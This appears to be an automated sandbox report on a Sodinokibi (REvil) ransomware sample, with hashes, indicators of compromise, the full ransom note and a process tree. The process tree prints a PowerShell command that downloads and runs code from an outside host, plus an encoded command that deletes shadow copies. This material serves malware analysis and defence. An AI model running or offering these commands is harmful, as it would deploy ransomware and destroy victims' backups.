sodinokibi | 2f8423a9b51942cea3d3e71e185c4e5780a8dc51cfc5fc0d84d08ad9efe067a5

General

Target

HtYRZhCc.bat
Size

189B
MD5

d0eafb36abcfd1c15e9bef86bcf280b0
SHA1

c4c71e785acaa2543c8ff32db8dbbf49761b78dd
SHA256

2f8423a9b51942cea3d3e71e185c4e5780a8dc51cfc5fc0d84d08ad9efe067a5
SHA512

f75e1a19ca43ab9fbb7e99cdebce8ceca51922258cff04724e811eecfee88a050b1c496580a498ecc845c67abf7ce14b37bf80c0f4fd9d5c300d4bff1b8c9cd5

Score

10^/10

evasion spyware trojan ransomware sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/HtYRZhCc

Extracted

Path

C:\i928ld15m9-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension i928ld15m9. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9180D364F1EFBA80 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/9180D364F1EFBA80 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: j+iIzP1RXp4N97ddNg+p/UZHlfffsaYmXJMbdoA2zVDRd5ctOoPxstdKUVPsIOu3 /KPceF/HTlo1vkuL8fpYGcqmRoqjqC3kXwbn6+9L0fPgMeneSWEQyhpaDQrEK4cN pQVjeNuHbWU6Bmy6YLmZNhxyjDFMqXT3scRn0GTrm0lzLwBTFG0Bziu2exjvsjZf mQ35OLJJDXB6XuLwMm6bJaMWlLCth5h56GYA0bRXwsmurYr8pnALfJgXYQ3s6wNO gpDmkFQGMzR0LFFIWWVOw5zrkaSc/9kQ9tPNQE0sk8hTRDJy9YSq1hCC0BaHYplt jtzWjYw+EZo0q0QoIkhYVTCA/KicJtONATV2wXVI6VmYjL35yaM3Ekuav4HrcTEo V02Rox0eh81ir0NcQ60/ifPfYnmilaRnOfkwKwdHmlsCQAd6Fq1U5L094wirm//9 CaRocZhcaQRCgCAGKMQBunyGAoN9LK61aNRxltJrSahcmZDPaGxxvoXrMmadhsK7 XxLft9C8Eh633J/dNxhfJt6c+tCd/Nm02JbFJmMXt72od/b7YnDxxwxklQJwL0EO HxG6vEjvX/WON0zJyAIZqU7LzHuEw5gW7pSUtLfDHg9emGe24UTrdtF0oDdnIhYv Kvec/RlOy/gw6awq5KDILzoKM4VIOG1zFcAekAxZntbw6y29w/+tXaclxOUIgWmh 5R8w1SO1GQcOLxoR7dxZtPUh6QqgPBI2AECSNvKUeXx2PZV3Ta80Vyu6RKkYGQwm PbkIslScl+i0Tk37HmakFbzur+BNuaOM/hwEUeL1ncAYNMgp1NBn6Tbl+JUokTzy 9OOFVGEoUk1nkmDXbIUI8SvxxZMk5ddycbfsS2geHp2vS3RTVgGvkbokHgimMr6M 0Z3LXm9Fr+vedgF2WdH0rPRl3LaevZtykQW+5+AYmC3nHqHNH1Hvg9d6fZ8eypYs A7OQclBqJFA7zcAMC1+S/ZJaQHLKbxlrVScfRnfCF51O/fqkl/7OEaaDK+DYBcSg LOtq4sexczCMZMA3ZaI0IElg1rlKVTTXfBsW+OFHoXdyNQrMCmpGg5m4+klYHIGe tHQNc0yDeOQSEFj3xIj7Ngd8sw/budxBWl386RP9fCid7p0HLNe5AVHU+y1ug5pG ntlr/y+1lnQHTZIbkqNM5/Wwkg8OdroKsS+M15V60GAZ64atrKdlZUa8co6dvevF dvbJyM4PUfug7d39OSIkdCHTWny+l2Zv7NNzaUew2MSgMLKpHZDKv0ZfCnq2P9N4 OkGamZd/lzEwgBNq6BItyhZTFHSaKElNs3Bn2IbcZuV8eQ+S3mpKDQ== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9180D364F1EFBA80

http://decryptor.cc/9180D364F1EFBA80

Signatures

Drops file in Program Files directory 33 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\ConvertToFormat.ini	powershell.exe
File renamed	C:\Program Files\DisableCopy.M2T => \??\c:\program files\DisableCopy.M2T.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\LockBackup.au	powershell.exe
File opened for modification	\??\c:\program files\MoveWait.tif	powershell.exe
File opened for modification	\??\c:\program files\SuspendGrant.m4a	powershell.exe
File renamed	C:\Program Files\SkipApprove.xhtml => \??\c:\program files\SkipApprove.xhtml.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSync.aifc	powershell.exe
File renamed	C:\Program Files\UnpublishSync.aifc => \??\c:\program files\UnpublishSync.aifc.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\UnpublishConvertTo.rmi	powershell.exe
File created	\??\c:\program files\i928ld15m9-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\i928ld15m9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DisableCopy.M2T	powershell.exe
File renamed	C:\Program Files\ExpandProtect.ods => \??\c:\program files\ExpandProtect.ods.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\GrantOpen.inf	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\i928ld15m9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RestartUninstall.midi	powershell.exe
File renamed	C:\Program Files\MoveWait.tif => \??\c:\program files\MoveWait.tif.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\ExpandProtect.ods	powershell.exe
File renamed	C:\Program Files\ConvertToFormat.ini => \??\c:\program files\ConvertToFormat.ini.i928ld15m9	powershell.exe
File renamed	C:\Program Files\EditRepair.mpv2 => \??\c:\program files\EditRepair.mpv2.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\SplitRestart.bmp	powershell.exe
File renamed	C:\Program Files\SplitRestart.bmp => \??\c:\program files\SplitRestart.bmp.i928ld15m9	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\i928ld15m9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\EditRepair.mpv2	powershell.exe
File renamed	C:\Program Files\RestartUninstall.midi => \??\c:\program files\RestartUninstall.midi.i928ld15m9	powershell.exe
File renamed	C:\Program Files\SuspendGrant.m4a => \??\c:\program files\SuspendGrant.m4a.i928ld15m9	powershell.exe
File renamed	C:\Program Files\UnpublishConvertTo.rmi => \??\c:\program files\UnpublishConvertTo.rmi.i928ld15m9	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\i928ld15m9-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\SkipApprove.xhtml	powershell.exe
File renamed	C:\Program Files\LockBackup.au => \??\c:\program files\LockBackup.au.i928ld15m9	powershell.exe
File renamed	C:\Program Files\RestartSave.xltm => \??\c:\program files\RestartSave.xltm.i928ld15m9	powershell.exe
File opened for modification	\??\c:\program files\RestartSave.xltm	powershell.exe
File renamed	C:\Program Files\GrantOpen.inf => \??\c:\program files\GrantOpen.inf.i928ld15m9	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1860 powershell.exe

pid	process
1860	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1836 wrote to memory of 1860	1836	cmd.exe	powershell.exe
PID 1860 wrote to memory of 1964	1860	powershell.exe	powershell.exe
PID 1860 wrote to memory of 1964	1860	powershell.exe	powershell.exe
PID 1860 wrote to memory of 1964	1860	powershell.exe	powershell.exe
PID 1860 wrote to memory of 1964	1860	powershell.exe	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	1860	powershell.exe
Token: SeDebugPrivilege	1964	powershell.exe
Token: SeBackupPrivilege	108	vssvc.exe
Token: SeRestorePrivilege	108	vssvc.exe
Token: SeAuditPrivilege	108	vssvc.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

1860 powershell.exe
1860 powershell.exe
1860 powershell.exe
1964 powershell.exe
1964 powershell.exe

pid	process
1860	powershell.exe
1860	powershell.exe
1860	powershell.exe
1964	powershell.exe
1964	powershell.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\36B12B49F9819ED74C9EBC380FC6568F5DACB2F7\Blob = 040000000100000010000000f1bc636a54e0b527f5cde71ae34d6e4a0f00000001000000140000009a680178cfa26912ab0dfa84d27d892aa0235881190000000100000010000000a2049dcd69cd217792d9b30d5291298503000000010000001400000036b12b49f9819ed74c9ebc380fc6568f5dacb2f71d0000000100000010000000446b89a35bbf3713f943e2826b1847ee140000000100000014000000a073499968dc855b65e39b282f579fbd33bc074853000000010000002400000030223020060a2a83088c9b1b6485510130123010060a2b0601040182373c0101030200c00b00000001000000360000005300450043004f004d002000540072007500730074002000530079007300740065006d007300200043004f0020004c0054004400000009000000010000003e000000303c06082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030806082b0601050507030920000000010000005e0300003082035a30820242a003020102020100300d06092a864886f70d01010505003050310b3009060355040613024a5031183016060355040a130f5345434f4d2054727573742e6e657431273025060355040b131e536563757269747920436f6d6d756e69636174696f6e20526f6f74434131301e170d3033303933303034323034395a170d3233303933303034323034395a3050310b3009060355040613024a5031183016060355040a130f5345434f4d2054727573742e6e657431273025060355040b131e536563757269747920436f6d6d756e69636174696f6e20526f6f7443413130820122300d06092a864886f70d01010105000382010f003082010a0282010100b3b3fe7fd36db1ef167c57a50c6d768a2f4bbf64fb4cee8af0f3297cf5ffee2ae0e9e9ba5b64229a9a6f2c3a266951059926dcd51c6a71c69a7d1e9ddd7c6cc68c67674a3ef871b01927a9090ca695bf4b8c0cfa55983bd8e822a14b713879ac979269b3897eea21680698149687d26136bc6d27569e57eec0c056fd32cfa4d98ec223d78da8f3d825ac97e47038f4b63ab49d3b972643a3a1bc4959724c2330870158f64ebe1c685666afcd415dc8b34d2a5546ab1fda1ee2403ddbcd7db992809c37dd0c96649ddc22f7648bdf61de15945215a07d52c94ba821c9c6b1edcbc39560d10ff0ab70f8dfcb4d7eecd6faabd9bd7f54f2a5e979fad9d6762428730203010001a33f303d301d0603551d0e04160414a073499968dc855b65e39b282f579fbd33bc0748300b0603551d0f040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d010105050003820101006840a9a8bbe44f5d79b305b517b36013ebc6925de0d1d36afefbbe9b6dbfc7056d5920c41cf0b7da84580263fa4816ef4fa50bf74a98f23f9e1bad476b63ce0847eb523f789caf4daef8d54fcf9a982a10413952c4ddd99b0eef9301aeb22eca684224426cb0b33a3ecde9da48c415cbe9f9070f9250498add31975fc9e937aa3b5965979432c9b39f3e3a6258c549ad620e71a532aa2fc6897643401313673da2542510cbf13af2d9fadb4956bba6fea74135c3e08861c988c7df3610229859eab04afb5616736eac4df722a14fad1d7a2d4527e530c15ef2da13cb2542519547038c6c21cc7442ed53ff338b8f0f5701162fcfa6eec9702214bdfdbe6c0b03	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\36B12B49F9819ED74C9EBC380FC6568F5DACB2F7	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703082000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Blacklisted process makes network request 89 IoCs

Processes:

powershell.exe

flow	pid	process
3	1860	powershell.exe
5	1860	powershell.exe
7	1860	powershell.exe
9	1860	powershell.exe
11	1860	powershell.exe
13	1860	powershell.exe
15	1860	powershell.exe
17	1860	powershell.exe
19	1860	powershell.exe
21	1860	powershell.exe
22	1860	powershell.exe
24	1860	powershell.exe
25	1860	powershell.exe
27	1860	powershell.exe
28	1860	powershell.exe
30	1860	powershell.exe
31	1860	powershell.exe
33	1860	powershell.exe
34	1860	powershell.exe
38	1860	powershell.exe
40	1860	powershell.exe
42	1860	powershell.exe
44	1860	powershell.exe
45	1860	powershell.exe
46	1860	powershell.exe
48	1860	powershell.exe
49	1860	powershell.exe
51	1860	powershell.exe
52	1860	powershell.exe
54	1860	powershell.exe
57	1860	powershell.exe
59	1860	powershell.exe
60	1860	powershell.exe
62	1860	powershell.exe
64	1860	powershell.exe
65	1860	powershell.exe
67	1860	powershell.exe
70	1860	powershell.exe
73	1860	powershell.exe
74	1860	powershell.exe
76	1860	powershell.exe
78	1860	powershell.exe
79	1860	powershell.exe
81	1860	powershell.exe
83	1860	powershell.exe
85	1860	powershell.exe
87	1860	powershell.exe
89	1860	powershell.exe
92	1860	powershell.exe
94	1860	powershell.exe
95	1860	powershell.exe
97	1860	powershell.exe
98	1860	powershell.exe
100	1860	powershell.exe
101	1860	powershell.exe
103	1860	powershell.exe
105	1860	powershell.exe
106	1860	powershell.exe
108	1860	powershell.exe
110	1860	powershell.exe
111	1860	powershell.exe
113	1860	powershell.exe
114	1860	powershell.exe
116	1860	powershell.exe

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Discovering connected drives 3 TTPs 7 IoCs

ransomware

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

powershell.execmd.exepowershell.exe

description	ioc	process
File opened (read-only)	\??\E:	powershell.exe
File opened (read-only)	\??\C:	cmd.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\A:	powershell.exe
File opened (read-only)	\??\F:	powershell.exe
File opened (read-only)	\??\C:	powershell.exe
File opened (read-only)	\??\B:	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\r71i99a8x9.bmp"	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\HtYRZhCc.bat"
1⤵
- Suspicious use of WriteProcessMemory
- Discovering connected drives
PID:1836

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/HtYRZhCc');Invoke-HELKUY;Start-Sleep -s 10000"
2⤵
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Modifies system certificate store
- Drops file in System32 directory
- Blacklisted process makes network request
- Discovering connected drives
- Sets desktop wallpaper using registry
PID:1860

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Discovering connected drives
PID:1964

C:\Windows\system32\vssvc.exe
